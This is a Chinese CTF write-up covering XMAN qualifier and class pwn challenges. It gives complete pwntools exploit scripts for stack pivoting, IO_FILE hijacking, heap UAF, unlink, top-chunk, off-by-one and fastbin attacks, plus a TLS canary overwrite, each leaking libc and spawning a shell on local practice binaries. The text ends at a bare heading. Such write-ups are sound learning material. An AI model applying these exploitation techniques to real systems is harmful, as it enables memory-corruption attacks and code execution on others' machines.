XMAN排位赛+课堂练习WP

misc

xman通行证

一道签到题
先一波base64解密,然后栅栏,然后凯撒

最坑的还是最后那里,不知道是我方法不对还是怎么样,硬是解不出来,我只能自己一个个手动偏移弄出flag来。。。。orz

###FILE
这题也是很无语的一题,一开始丢010editor进去看看文件头那些,发现是个gif图,分离图后又进行一系列操作都没用,后面突然发现好像16进制显示的时候,很多地方是0的
于是查了一波数据恢复工具
找到了extundelete工具,是linux下的
extundelete –restore-all file.gif
这一行命令后,就生成了一个文件,直接强行打开后就能看到flag了

但是要注意把里面的空格去掉

PWN

challenge1

这题跟平时课堂练习的基本一模一样,我直接改了脚本,一梭子getflag怒拿一血,然而其实并没有卵用,菜鸡只能找简单题做,大佬都是全部ak的

这题是利用了IO_FILE 方面的一些漏洞:

这里有一个简单的栈溢出,可以使得输入的s数组溢出到stream所在的指针
stream指针出存储的是FILE结构
FIEL结构包括:_IO_FILE 和 vtable
_IO_FILE_plus 等价于 _IO_FILE + vtable


流程图大概是这样的:

vtable 指向的位置是一组函数指针,我们最后调用的是fclose函数
所以需要修改相应位置的数据,将其改为想要执行的函数,也就变相执行了这个函数
通常用这种方法去执行system(/bin/sh)

构造的payload的布局是这样的:

具体想要看清楚为什么a*0x10的话,可以进入调试状态查看:


main

这题也是讲师在上课的时候提及到的,但只演示了main32,用dlresolve的方法来做
而main则是64位的,本意应该也是用dlresolve的方法,但我太菜了,还没有深刻理解这种方法到底是怎么样搞的
所以我就只能用常规的rop来做

看一下程序的相关漏洞:

这里可以溢出的只有(32-10-8)=14个字节,也就最多在覆盖rbp后多加一个p64(xxx),那就需要用到栈迁移的操作了:
直接上exp吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'

elf = ELF("./main")
p = process("./main")
#p = remote('xxxxx', xxxxx)

volun = 0x4005c2
bss =0x601060
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]#601018
read_plt = elf.plt["read"]
print hex(puts_plt)
print hex(puts_got)
print hex(read_plt)

pop_rdi_ret =0x0000000000400693
leave_ret = 0x000000000040060f

payload1 = "a"*0x200+p64(0)+ p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(volun)
p.recvuntil("bss:\n")
p.send(payload1)

#sleep(0.1)
payload2 = 'a'*0x0a+p64(bss+0x200)+p64(leave_ret)
p.recvuntil("stack:\n")
p.send(payload2)

leak = p.recvuntil("\n")
puts =u64(leak[:len(leak)-1] + "\x00\x00")

print "puts address---->"+hex(puts)
libbase = puts - puts_libc
print "libbase address---->"+hex(libbase)

p.recvuntil("bss:\n")
p.send("a")

#sleep(0.1)
#payload3 = 'a'*(0x0a+0x08) +p64(pop_rdi_ret)+p64(binsh)+p64(system)
#payload3长度超过0x20了因此不可用
#p.send(payload3)
p.recvuntil("stack:\n")
p.send("A" * 18 + p64(libbase + 0xf02a4))
p.interactive()


'''
泄漏出puts的真实地址后,可以通过libcdatabase去找出相应的libc库
,接着用onegadget这个工具,找到一个一梭子getshell的东西,把他加上libc基址就可以直接调用
这里不能用system(/bin/sh)的方法,因为输入限制0x20
$ one_gadget libc6_2.23-0ubuntu10_amd64.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

ps:这题没做出来非常伤,本来思路是对的,想到了用栈迁移的方法来搞,但方法想错了,一直想着搞read函数进入二次输入,硬是脑子短路没想到第二次返回volun,

课堂练习

note

这题就涉及堆的知识点了
大概的考点是UAF 和栈溢出
算是比较简单的堆题目
这个程序开启了一堆的保护:

然后来看看程序都有哪些功能,首先是一个写入的操作,往bss段里面写入name和address,然后就是常规的堆题目的菜单四大功能,新建堆,编辑堆,打印堆,离开


这里主要的漏洞出现在编辑堆的功能函数里面:
编辑中有两个操作,一个是重新写堆的内容,另一个是在原来堆的后面追加新的内容
这里具体实现是通过多申请一个堆块来临时存放写入的内容,后面再通过strcory写入需要编辑的堆块,然后就把临时存放写入内容的堆块free掉,这里就产生了漏洞:
如果我们把这个临时创建的堆块的指针改成一个任意地址,那么在free掉这个临时堆块的时候也就在相对应的对任意地址上进行free操作,由于free的时候会检查当前堆块的大小和下一个堆块的pre_size,我们就需要在任意地址附近构造假的size字段和pre_size字段,从而绕过检查

这里我们可以看到,在bss段的name和address的位置是很靠近chunk_ptr的
于是我们就可以把上面提及的临时堆块的指针改成这里的0x602120
要怎么将临时堆块的指针改成0x602120呢?
我们会发现:临时指针v7和dest的距离是0x80

就需要进行两步操作:
1.申请一个堆块chunk1,然后往里面写94个a
2.编辑堆块chunk1,往里面再追加34个a,也就是恰好为0x80,足以覆盖v7指针的值为0x602120
但是这里还是有个坑,是关于strncat函数的,会有0截断产生,但通过测试,发现只有最开始输入92,93,94个a才能成功覆盖:

测试如图:

接着
在free掉临时堆块的时候就相当于把这个地方free掉了,接下来我们要做的事情是:
1.往name里面输入'a'*0x30+p64(0)+p64(0x70)在0x602120上面伪造一个堆的头部的两个字段
2.往address里面输入p64(0)+p64(0x70),伪造下一个堆块的pre_size,以通过free操作时候的检查

这一切构造好了以后,我们就新申请一个刚刚好大小为0x60的堆块chunk2,根据fastbin的分配规则,会首先分配刚刚释放的堆块,那么我们新申请的堆块的指针就会指向0x602120的位置,这个时候你就会发现,原来分配的chunk1也是指向这个位置的,这就造成的UAF的漏洞

那么接下来就可以用程序的打印功能去把0x602120位置的内容输出来
我们就可以让atoi函数的got表内容给打印出来,然后泄漏一波libc,得到system函数的地址,再把system的地址给atoi函数的got表,当再次调用atoi函数的时候就相当于执行了system函数,另外由于atoi函数也会读取一个地址作为参数,这个时候我们直接输入“/bin/sh”,也就相当于给system赋值了参数,从而能getshell

又或者嫌麻烦的话可以直接用one_gadget,一梭子getshell

下面把exp贴一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#encoding:utf-8
from pwn import *
context(log_level = "debug")
p=process('./note')
elf = ELF('./note')
libc = elf.libc
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def newnote(length,x):
p.recvuntil('--->>')
p.sendline('1')
p.recvuntil(':')
p.sendline(str(length))
p.recvuntil(':')
p.sendline(x)

def editnote_append(id,x):
p.recvuntil('--->>')
p.sendline('3')
p.recvuntil('id')
p.sendline(str(id))
p.recvuntil('append')
p.sendline('2')
p.recvuntil(':')
p.sendline(x)

def editnote_overwrite(id,x):
p.recvuntil('--->>')
p.sendline('3')
p.recvuntil('id')
p.sendline(str(id))
p.recvuntil('append')
p.sendline('1')
p.recvuntil(':')
p.sendline(x)

def shownote(id):
p.recvuntil('--->>')
p.sendline('2')
p.recvuntil('id')
p.sendline(str(id))


p.recvuntil('name:')#name:0x6020e0
p.send('a'*0x30+p64(0)+p64(0x70))

p.recvuntil('address:')#address:0x602180
p.sendline(p64(0)+p64(0x70))

newnote(128,94*'a')
editnote_append(0,'b'*34+p64(0x602120))

atoi_got = 0x602088
newnote(96,p64(atoi_got))

shownote(0)
p.recvuntil('is ')
atoi_addr = u64(p.recvline().strip('\n').ljust(8, '\x00'))
atoi_libc=libc.symbols['atoi']
sys_libc=libc.symbols['system']
system=atoi_addr-atoi_libc+sys_libc
print "system="+hex(system)

editnote_overwrite(0,p64(system))
#gdb.attach(p)
p.recvuntil('--->>')
p.sendline('/bin/sh')
p.interactive()


Babystack

这是一道栈下面有关绕过canary的题目,用利用的覆盖canary的方式去绕过
日后得整理一波canary的各种操作
这题主要是涉及到多线程下的TSL的问题
由于多线程中Canary存入TLS结构体,而TLS位于多线程内部栈的高地址,并且该结构体与当前栈差距不足一个page,导致我们能对其进行修改,改为我们想要的值,从而绕过检测。

从程序来看,开了很多保护

漏洞点主要在这个输入函数这里:
s的大小只有0x1010而最大可输入的字节为0x10000

同时因为有canary保护,所以我们得覆盖很多个a到高地址,直到把TLS给覆盖从而修改了canary的值,但是这个覆盖的偏移就需要我们通过测试来实现了

exp如下,搞定canary后基本就不难了,一个栈迁移操作就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context(os='linux', arch='i386', log_level='debug')
p = process("./bs")

elf = ELF("./bs")
libc = ELF("./bs_libc.so.6")

main = 0x4009e7
buf=0x602300#这个比较玄学,我测试的只有0x602300--0x602f00可以成功
pop_rdi_ret = 0x0000000000400c03
pop_rsi_r15_ret =0x0000000000400c01
leave_ret=0x400955
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
puts_libc = libc.symbols["puts"]
sys_libc = libc.symbols["system"]
bin_libc = libc.search("/bin/sh").next()
read = elf.plt["read"]

p1=p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)
p2=p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_r15_ret)+p64(buf+0x8)+p64(0)+p64(read)+p64(leave_ret)
payload=p1+p2

p.recvuntil("How many bytes do you want to send?")
p.sendline(str(6128))
p.send("a"*4112+p64(buf)+payload+ "a"*(6128-4120-len(payload)))

p.recvuntil("It's time to say goodbye.\n")

puts=u64(p.recvline()[:6]+"\x00\x00")#-0x6f690
print "puts address---->"+hex(puts)
libbase = puts - puts_libc
print "libbase address---->"+hex(libbase)

system=libbase+sys_libc
binsh=libbase+bin_libc

p.sendline(p64(pop_rdi_ret)+p64(binsh)+p64(system))
p.interactive()

下面代码用于测试canary在栈上的位置,并且覆盖为aaaaaaaa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
offset = 6120

while True:
p = process("./bs")
p.recvuntil("How many bytes do you want to send?")
p.sendline(str(offset))# 0x17f0

p.send("a"*4112+p64(0xdeadbeef)+p64(main)+ "a"*(offset-4128))
temp = p.recvall()

offset += 1

if "Welcome" in temp:
break
else:
p.close()

print "offset is:"+hex(offset)


freenote

这题主要是用了unlink的堆操作,然而菜鸡如我,看了别人的wp好久才搞明白怎么做,自从学了堆,深深地感受到了什么叫理论联系实际的难度,流下了真正属于弱者的泪水.jpg

这题的防御机制开是这样的,还算常规

然后程序逻辑的话,还是按照套路的菜单型的题目:

就创建堆块,编辑堆块,打印堆块内容,删除堆块
一般来说,漏洞都是出在创建堆块和编辑堆块的地方

这道题的逻辑可以说是有点恶心了,逆了好久才理解他的操作
大概是,一开始先分配了一个0x1810大小的chunk_list堆块,用来专门存放之后分配的各种堆指针,chunk_list存的是堆的数量限制,一开始是0x100,chunk_list+8的地方存的是目前的堆的数量,之后便是各个新申请的堆块的各个指针,每次生成一个新的堆块,就会相应的产生:标记位1,输入堆块内的字节数量,指向堆块的指针。
而需要注意的是,每次申请的堆块的大小只能是0x80的整数倍大小,也就是这个表达式所规定的:malloc((0x80 - chunk_size % 0x80) % 0x80 + chunk_size)
当时一直没搞懂什么意思,后面直接复制去写个python跑一下就知道他什么意思了

这道题的逻辑大概就这样,编辑和删除的功能都是常规的,没有太多的骚操作

我们的最终目的肯定是getshell,那么就需要执行system(/bin/sh),那就需要他们的地址,那就需要泄漏libc的基址

泄漏基址的操作如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
otelen=0x80

new_note("A"*notelen)
new_note("B"*notelen)
delete_note(0)

new_note("\x78")
#gdb.attach(p)
list_note()

p.recvuntil("0. ")
leak = p.recvuntil("\n")
print leak[0:-1].encode('hex')
leaklibcaddr = u64(leak[0:-1].ljust(8, '\x00'))
print "leaklibcaddr is:---->"+hex(leaklibcaddr)
'''
当一个small chunk被free的时候,首先是被安排到unsorted bins中,
这时它的fd和bk都是指向表头的,因此泄露的地址是<main_arena+88>的地址,
而<main_arena>-0x10为<__malloc_hook>函数的真实地址,因此可以用这个函数来泄露libc的基地址
'''
delete_note(1)
delete_note(0)

#libc_base_addr = leaklibcaddr - 0x3c4b78
libc_base_addr = leaklibcaddr -0x58-0x10 -libc.symbols["__malloc_hook"]
print "libc_base:---->" + hex(libc_base_addr)
system_sh_addr = libc_base_addr + libc.symbols['system']
print "system_sh_addr:----> " + hex(system_sh_addr)
binsh_addr = libc_base_addr + next(libc.search('/bin/sh'))
print "binsh_addr: ---->" + hex(binsh_addr)

第二步的操作是泄漏heap的地址,如果没有heap的地址的话,我们后面就没法构造fd和bk去绕过unlink的检查机制

泄漏heap地址的方法是:
我们先创建4个chunk,接着先后free掉第三个和第一个,由于他们的大小都属于small chunk这时他们都会被加入unsorted bin中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[+] unsorted_bins[0]: fw=0x21fd820, bk=0x21fd940
→ Chunk0(addr=0x21fd830, size=0x90, flags=PREV_INUSE) → Chunk3(addr=0x21fd950, size=0x90, flags=PREV_INUSE)

[+] Found 2 chunks in unsorted bin.

Chunk3(addr=0x21fd950, size=0x90, flags=PREV_INUSE)
Chunk size: 144 (0x90)
Usable size: 136 (0x88)
Previous chunk size: 0 (0x0)
PREV_INUSE flag: On
IS_MMAPPED flag: Off
NON_MAIN_ARENA flag: Off

Forward pointer: 0x7fceb5cfeb78
Backward pointer: [0x21fd820]

unsorted bins中的chunk 先free的先分配,从表头进入,从表尾取出
因此这里第三个chunk先free则它也先被分配,这里也可以看到chunk3的bk存的是chunk0的地址,指向成第一个chunk【0x21fd820】

这时候如果再分配一次相同的大小的chunk,则会被分配到第三个chunk的指针给新申请的chunk,然后我们再打印这个新的chunk的内容,就可以把heap地址给泄漏出来

最后就是第三步的执行unlink操作:
执行这个操作首先需要进行绕过unlink的检查机制,首先我们要使得:
FD->bk = p
BK->fd = p
这样就需要找到一个存有chunk指针的地址,这里很明显是在chunk_list中,基本上unlink的题目必定有个地方存着所有chunk的指针,我们用这些指针就可以通过适当的加减偏移找到需要被unlink的chunk的指针
构造绕过如下:

fd = leakheapaddr - 0x1808 #p->fd->bk=p
bk = fd + 0x8 #p->bk->fd=p

通过unlink后,*p = p - 24 = leakheapaddr - 0x1808

这个时候再向chunk0中编辑新的内容,就等于向p指向的地址中写入内容,也就是向地址【leakheapaddr - 0x1808】中写入内容,这个时候就可以构造chunk_list的内容了,这样就能把chunk0 的指针指向free_got的地址,让chunk1的指针指向“/bin/sh”的地址,接着再向chunk0中写入system的地址,修改free函数的got表,最后执行删除功能,把chunk1free掉,就等于执行了system(/bin/sh)
ps:因为执行free的时候,指针指向chunk1,也就相当于取了“/bin/sh”作为参数

总的两次paylode构造和流程如下:
payload的构造

最后贴一下完整的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
#encoding:utf-8
#!/usr/bin/env python
from pwn import *


p = process('./freenote')

libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def new_note(x):
p.recvuntil("Your choice: ")
p.send("2\n")
p.recvuntil("Length of new note: ")
p.send(str(len(x))+"\n")
p.recvuntil("Enter your note: ")
p.send(x)

def delete_note(x):
p.recvuntil("Your choice: ")
p.send("4\n")
p.recvuntil("Note number: ")
p.send(str(x)+"\n")

def list_note():
p.recvuntil("Your choice: ")
p.send("1\n")

def edit_note(x,y):
p.recvuntil("Your choice: ")
p.send("3\n")
p.recvuntil("Note number: ")
p.send(str(x)+"\n")
p.recvuntil("Length of note: ")
p.send(str(len(y))+"\n")
p.recvuntil("Enter your note: ")
p.send(y)

print "####################leaking libc#########################"

notelen=0x80

new_note("A"*notelen)
new_note("B"*notelen)
delete_note(0)

new_note("\x78")
#gdb.attach(p)
list_note()

p.recvuntil("0. ")
leak = p.recvuntil("\n")
print leak[0:-1].encode('hex')
leaklibcaddr = u64(leak[0:-1].ljust(8, '\x00'))
print "leaklibcaddr is:---->"+hex(leaklibcaddr)

delete_note(1)
delete_note(0)
'''
泄露的地址是<main_arena+88>的地址,而<main_arena>-0x10为
<__malloc_hook>函数的真实地址,因此可以用这个偏移来泄露libc的基地址
'''
#libc_base_addr = leaklibcaddr - 0x3c4b78
libc_base_addr = leaklibcaddr -0x58-0x10 -libc.symbols["__malloc_hook"]

print "libc_base:---->" + hex(libc_base_addr)

system_sh_addr = libc_base_addr + libc.symbols['system']
print "system_sh_addr:----> " + hex(system_sh_addr)

binsh_addr = libc_base_addr + next(libc.search('/bin/sh'))
print "binsh_addr: ---->" + hex(binsh_addr)

print "####################leaking libc has done#########################"



print "####################leaking heap#########################"

notelen=0x80

new_note("A"*notelen)#0
new_note("B"*notelen)
new_note("C"*notelen)#2
new_note("D"*notelen)
delete_note(2)
delete_note(0)

'''
unsorted chunk 先free的先分配,从表头进入,从表尾取出
因此这里第三个chunk先free则它也先被分配
而由于chunk_size是属于small chunk 的
所以它被free的时候
首先被加入了unsorted bins


[+] unsorted_bins[0]: fw=0x21fd820, bk=0x21fd940
→ Chunk(addr=0x21fd830, size=0x90, flags=PREV_INUSE) → Chunk(addr=0x21fd950, size=0x90, flags=PREV_INUSE)
[+] Found 2 chunks in unsorted bin.

Chunk(addr=0x21fd950, size=0x90, flags=PREV_INUSE)
Chunk size: 144 (0x90)
Usable size: 136 (0x88)
Previous chunk size: 0 (0x0)
PREV_INUSE flag: On
IS_MMAPPED flag: Off
NON_MAIN_ARENA flag: Off

Forward pointer: 0x7fceb5cfeb78
Backward pointer: [0x21fd820]

而此时第三个chunk的bk被设置指向成第一个chunk【0x21fd820】
这时候如果再分配一次相同的大小的chunk
则会被分配到第三个chunk的位置


'''


new_note("AAAAAAAA")
list_note()

p.recvuntil("0. AAAAAAAA")
leak = p.recvuntil("\n")

print leak[0:-1].encode('hex')
leakheapaddr = u64(leak[0:-1].ljust(8, '\x00'))

print "leakheapaddr: "+hex(leakheapaddr)

#raw_input()
delete_note(0)
delete_note(1)
delete_note(3)

print "####################leaking heap has done#########################"


print "####################unlink exp#########################"

notelen = 0x80

new_note("A"*notelen)
new_note("B"*notelen)
new_note("C"*notelen)


delete_note(2)#C
delete_note(1)#B
delete_note(0)#A
#这样从高地址的堆开始free,会把三个堆都和top chunk合并

#chunk list的地址是0x6020A8,大小为0x1810
fd = leakheapaddr - 0x1808#p->fd->bk=p
bk = fd + 0x8#p->bk->fd=p


#gdb.attach(p)

payload = ""
payload += p64(0x0) + p64(notelen+1) + p64(fd) + p64(bk) + "A" * (notelen - 0x20)
payload += p64(notelen) + p64(notelen+0x10) + "A" * notelen
payload += p64(0) + p64(notelen+0x11)+ "A" * (notelen-0x20)#凑足0x80的整数倍的payload

new_note(payload)
gdb.attach(p)

pause()
delete_note(1)
pause()

free_got = 0x602018

payload2 = p64(notelen) + p64(1) + p64(0x08) + p64(free_got) + "A"*16 + p64(binsh_addr)
payload2 += "A"* (notelen*3-len(payload2))



edit_note(0, payload2)
edit_note(0, p64(system_sh_addr))l

delete_note(1)
p.interactive()

'''
for x in xrange(1,1000):
v4=v2=x
a = (0x80 - v4 % 0x80) % 0x80 + v4
print "v4 is--->"+str(hex(v4))+"__ a is--->"+str(hex(a))
#经过测试发现,创建的时候只能分配大小为0x80倍数的chunk
'''

pwn2

这是一题有点骚东西的堆利用的题目,利用的是top chunk attack
比较巧妙又不常见的方法

大概的思路是:

  1. 通过fast_bin attack 修改top chunk的size字段为 system+free_hook-top_ptr-1
  2. 接着申请一个超大的chunk,让内存管理机制通过切割top chunk来分配
  3. 申请的超大的chunk的size 为free_hook-top_ptr-0x10
  4. 申请成功后,新的top chunk为:旧的top chunk+分配的字节
    也就是:top_ptr + (free_hook-top_ptr-0x10 + 0x10) = free_hook
    于是此时的新的top chunk指向free_hook
    同时新的top chunk 的size 为原来top chunk 的大小减去分配掉的大小:
    (system+free_hook-top_ptr-1) - (free_hook-top_ptr-0x10 + 0x10)= system

这时,free_hook就指向了system,实现了变相的执行system函数
然后再把“/bin/sh”参数放到一个将要被free的chunk里面
最后执行free,相对与就执行了system(/bin/sh)

具体的细节就不说了,直接上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
p=process('./pwn2')


def add(size,data):
p.sendlineafter(">> ","1")
p.sendlineafter("note:",str(size))
p.sendafter("note:",data)


def edit(index,data):
p.sendlineafter(">> ","2")
p.sendlineafter("note:",str(index))
p.sendafter("note:",data)

def delete(index):
p.sendlineafter(">> ","3")
p.sendlineafter("note:",str(index))

def show():
p.sendlineafter(">> ","4")

add(0x88,'a'*0x88)#0
add(0x88,'a'*0x88)#1

delete(0)
show()

p.recvuntil("0 : ")
main_arena=u64(p.recv(6).ljust(8,'\x00'))-0x58

print "main_arena:"+hex(main_arena)
libc_base=main_arena-libc.symbols['__malloc_hook']-0x10
system=libc_base+libc.symbols['system']
print "system:",hex(system)

free_hook=libc_base+libc.symbols['__free_hook']
print "free_hook:"+hex(free_hook)
one_gadget=libc_base+0xf1147
print "one_gadget:",hex(one_gadget)

add(0x88,'a'*0x88)#2
add(0x20,'a'*0x20)#3
add(0x20,'a'*0x18+p64(0x31))#4

delete(4)
delete(3)

show()
p.recvuntil("3 : ")
heap=u64(p.recv(6).ljust(8,'\x00'))-0x150
print "heap address:",hex(heap)

edit(3,p64(heap+0x170)+'\n')

top_ptr=heap+0x180

print "fake_top_chunk_size:"+hex(system+free_hook-top_ptr)
print "malloc_top_chunk_size:"+hex(free_hook-top_ptr)

gdb.attach(p)

add(0x20,'/bin/sh\n')#5#3

add(0x20,'a'*0x8+p64(system+free_hook-top_ptr-1)+'\n')

add(free_hook-top_ptr-0x10,'\n')

delete(5)
p.interactive()

这题理论上应该也可以用unlink来做 ,之后做了再来更新吧


offbyone

先看一下这个保护机制,难得的开了三个,但没开RELRO,说明这题估计会用到修改got表的操作

这题是经典的off_by_one的例题

通过溢出一个字节进行扩展堆

这题主要的利用点在于edit函数使用了strlen 函数,由于该函数是\0截断的,也就是说读取到\0的时候,就停止计算字符串的长度,如果在创建chunk的时候,通过构造使得presize空间复用,那么strlen函数会把size那个字节给算进去,在read()的时候就会read进v2+1个字节

主要的思路为:

  • 先创建chunk0、1、2、3、4,其中chunk0类型不限,chunk4是用来防止free后与top chunk合并的,但123必须是unsorted chunk,因为需要进行unlink操作
  • 先free掉chunk1,接着溢出chunk0改chunk1的size字段,然后溢出chunk2改chunk3的presize字段和size字段,使得malloc机制误以为chunk3前面的chunk的大小是0x170同时处于free状态,这时由于前面free掉了chunk1,chunk1就会和这个“0x170大小的chunk”合并,一起被放入unsorted bin里面,从而覆盖掉没有被free的chunk2
  • 重新申请一个新的chunk1(大小为原来chunk1的大小),这时就会从unsorted bin里面切割出一部分空间来给新的chunk1,被切割剩余的chunk仍然留在unsorted bin里面,而恰好也就是chunk2被放进了unsorted bin,同时之前又没有free过chunk2,这时就可以利用show出chunk2的fd来泄漏出libc的地址
  • 新申请与chunk2同等大小的chunk5,这时由于chunk2本身被操作进了unsorted bin,于是,chunk5也会分配到与chunk2一样的地址,由此实现了UAF
  • 先后free掉chunk3和chunk2,他们就会被放进fastbin里面
  • 接着进行fastbin attack,改chunk5的fd为malloc_hook-0x10-0x03的地址(保证存在符合fastbin范围的size),其实也是改了chunk2的fd
  • 于是fastbin变成了这样:fastbin<—-chunk2<—-[malloc_hook-0x10-0x03]
  • 接着分配新的chunk,这时chunk2就会被分配出去,然后再分配一次chunk,[malloc_hook-0x10-0x03]就会被分配出去,这时往这个chunk写入“aaaa+one_gadget”,也是往[malloc_hook-0x03]写入
  • 通过doublefree报错,触发malloc_printer,从而触发malloc_hook,达到调用one_gadget的目的

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#encoding:utf-8
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")

ip =""
if ip:
p = remote(ip,20004)
else:
p = process("./offbyone")#, aslr=0

elf = ELF("./offbyone")
#libc = ELF("./libc-2.23.so")
libc = elf.libc
#-------------------------------------
def sl(s):
p.sendline(s)
def sd(s):
p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------
def add(length,contant):
ru(">> ")
sl("1")
ru("length: ")
sl(str(length))
ru("your note:\n")
sl(contant)
def edit(idx,contant):
ru(">> ")
sl("2")
ru("index: ")
sl(str(idx))
ru("your note:\n")
sd(contant)

def delete(idx):
ru(">> ")
sl("3")
ru("index: ")
sl(str(idx))
def show(idx):
ru(">> ")
sl("4")
ru("index: ")
sl(str(idx))

add(0x28,'a'*0x28)#0
add(0xf8,'b'*0xf8)#1
add(0x68,'c'*0x68)#2
add(0x60,'d'*0x60)#3
add(0x60,'e'*0x60)#4

delete(1)
edit(0,'a'*0x28+'\x70')
edit(2,'c'*0x60+p64(0x170)+'\x70')
add(0xf8,'x'*0xf8)

show(2)

main_arena=u64(p.recv(6).ljust(8,'\0'))-0x58
libc_base=main_arena-libc.symbols['__malloc_hook']-0x10
malloc_hook=libc_base+libc.symbols['__malloc_hook']
print "malloc_hook--->"+hex(malloc_hook)
one_gadget=libc_base+0xf02a4

add(0x60,'a'*0x60)#5 == 2
delete(3)
delete(2)
debug()
edit(5,p64(malloc_hook-0x10-3)[0:6])#patrial overwrite
pause()
add(0x60,'a'*0x60)#2
pause()
add(0x60,'a'*3+p64(one_gadget)+'\n')
pause()
delete(2)
delete(5)

getshell()

offbyone2